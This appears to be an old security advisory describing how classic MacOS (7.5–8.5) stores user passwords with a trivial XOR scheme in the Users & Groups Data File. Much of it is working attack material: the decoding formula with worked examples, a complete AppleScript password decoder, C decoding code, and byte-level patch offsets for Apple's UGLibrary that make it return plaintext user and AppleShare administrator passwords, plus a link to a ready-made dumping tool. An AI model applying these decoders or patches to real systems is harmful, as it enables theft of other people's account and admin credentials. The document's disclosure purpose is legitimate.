COMMAND
kernel (MacOS system encryption algorithm)
SYSTEMS AFFECTED
MacOS
PROBLEM
Dawid adix Adamski found following. The encryption algorithm in
MacOS system is simple and the password can be easily decoded.
Password is stored in Users & Groups Data File in Preferences
folder. Offset is different on each system and depends on Users
& Groups configuration, but it always lie after owner's username.
It's not so difficult to find it using hex editor, even if we
don't know owner's username. Here are some examples of encrypted
passwords:
00 04 06 18 0D 0A 19 0B = stayaway
0A 1F 10 1B 00 07 75 1E = yellow
1C 1B 16 14 12 62 10 7B = owner
07 02 13 1A 1E 0F 1A 14 = turnpage
27 25 33 27 27 39 24 7E = Trustno1
AA BB CC DD EE FF GG HH = aa bb cc dd ee ff gg hh
where:
AA BB CC DD EE FF GG HH - encrypted password (hex)
aa bb cc dd ee ff gg hh - decrypted password in ASCII codes (hex)
aa=AA XOR 73H
bb=BB XOR AA XOR 70H
cc=CC XOR BB XOR 63H
dd=DD XOR CC XOR 67H
ee=EE XOR DD XOR 74H
ff=FF XOR EE XOR 70H
gg=GG XOR FF XOR 72H
hh=HH XOR GG XOR 6BH
An example:
Let's take OO 04 06 18 0D 0A 19 0B
00H XOR 73H = 73H = s
04H XOR 00H = 04H; 04H XOR 70H = 74H = t
06H XOR 04H = 02H; O2H XOR 63H = 61H = a
18H XOR 06H = 1EH; 1EH XOR 67H = 79H = y
0DH XOR 18H = 15H; 15H XOR 74H = 61H = a
0AH XOR 0DH = 07H; 07H XOR 70H = 77H = w
19H XOR 0AH = 13H; 13H XOR 72H = 61H = a
0BH XOR 19H = 12H; 12H XOR 6BH = 79H = y
This was tested on MacOS 7.5.3, 7.5.5, 8.1, 8.5. David wrote an
apple script to break passwords.
(* MacOS Pass 2.1 by adix 15.06.99; Apple Script English *)
global lbin, bit1, bit2, bitk
set hex1 to text returned of (display dialog "Enter encrypted password
(hex): " default answer "" buttons {" Ok "} default button " Ok " with icon
stop)
set Alicia to
"0111001101110000011000110110011101110100011100000111001001101011"
set pass to ""
set lbin to ""
set razem to ""
set i to 1
set skok to 0
set ile to count items in hex1
if ile = 0 or ile = 1 then
set pass to ""
else
repeat until (i > (ile - 1))
set kodascii to 0
set razem to ""
set zn to items (i) thru (i + 1) in hex1
set lbin to hex2bin(zn)
repeat with a from 1 to 8
set bit1 to item (a + skok) of Alicia
xor(a)
set razem to {razem & bitk} as string
if i < 2 then
set kodascii to {kodascii + bitk * (2 ^ (8 - a))}
end if
end repeat
if i < 2 then
set pass to {pass & (ASCII character kodascii)}
else
set zn to items (i - 2) thru (i - 1) in hex1
set lbin to hex2bin(zn)
repeat with a from 1 to 8
set bit1 to item a of razem
xor(a)
set kodascii to {kodascii + bitk * (2 ^ (8 - a))}
end repeat
set pass to {pass & (ASCII character kodascii)}
end if
set skok to skok + 8
set i to i + 2
end repeat
end if
display dialog "Password: " & pass & return & return & "by adix" buttons
{" Ok "} default button " Ok " with icon note
on hex2bin(zn)
set temphex to {"0000", "0001", "0010", "0011", "0100", "0101", "0110",
"0111", "1000", "1001", "1010", "1011", "1100", -
"1101", "1110", "1111"}
set t2hex to "0123456789ABCDEF"
set bin to ""
repeat with j in zn
set t1 to j as string
repeat with i from 1 to (count items in t2hex)
if ((item i in t2hex) = t1) then
set temp to (item i in temphex)
exit repeat
end if
end repeat
set bin to {bin & temp} as string
end repeat
return (bin)
end hex2bin
on xor(a)
set bit2 to item a in lbin
if bit1 = bit2 then
set bitk to "0"
else
set bitk to "1"
end if
end xor
J.A. Gutierrez added following. He has been researching a little
on this subject, and found code above fails when decoding the
first character of the password, for this char you need additional
data from the "Users & Groups Data File", specifically, the 4th
byte after the encoded sequence described in his message. So,
after cleaning a little the code, you get something as simple as
this:
#include
int main(){
register int i=0;
unsigned char *mask="rpcgtprk";
unsigned char *pw="\x28\x08\x2F\x3B\x20\x36\x30\x5B\x00\x00\x00\x09";
unsigned char c;
for(i=0; i<7; i++)
{
c = pw[6-i] ^ mask[7-i];
pw[7-i] ^= c;
}
c = pw[11] ^ mask[7-i];
pw[7-i] ^= c;
printf("\"%s\"\n",pw);
}
But you still have to find the encrypted passwords in the binary
data file. Apple's AppleShare SDK provides a "UGLibrary" to deal
with this data file; but it doesn't let you access the user
password (which is decrypted in the stack when you call
"UGAuthenticateUser()", nor the encrypted one. In fact, in this
call, the encrypted password is decrypted to the stack, and
compared against the user supplied one. So, all we have to do is
replace the compare with a copy:
* 00000206: B036 70F4 '.6p.' CMP.B -$0C(A6,D7.W),D0
* 0000020A: 6710 'g.' BEQ.S *+$0012 ; 0000021C
*
is replaced with
*
* # ADDQ.W #$02,A2 544A
* # MOVE.B D0,-(A2) 1500
* # BRA.S *+$0012 6010
*
* i.e., go to offset 28A0 and replace "B036 70F4 6710" with "544A 1500 6010"
* in "UGLibrary.o"
After that, we can build a simple program (about 150 lines) and
with just a double click, we get a listing with all the users and
decoded passwords in the system. That's enough for the personal
AppleShare server included with MacOS 7.x and 8.x; for AppleShare
server 3.x (and, probably 4.x; I didn't check it) the data file
is protected by a "administrator password" so you need it before
being able to use the modified UGAuthenticateUser(). But that
password uses the same encryption algorithm/check as the users
ones, so we only have to change "UGOpenFile()" in the same way:
at offset 0A92, B030 7000 671A becomes 544A 1500 601A
So, with these modifications, AppleShare 3.x admin password is
returned into filePB.ugAdminKey after UGOpenFile() and users
password are returned into userPB.ugPassword after
UGAuthenticateUser(), both in plain text format. A program which
uses this method for listing users and passwords can be found
(both MacOS 68k binary and source code) at (Stuffit 5.x archive):
ftp://ivo.cps.unizar.es/pub/SPDsoft/ASPID.sit
SOLUTION
Nothing yet. Let's hope that algorithm will change.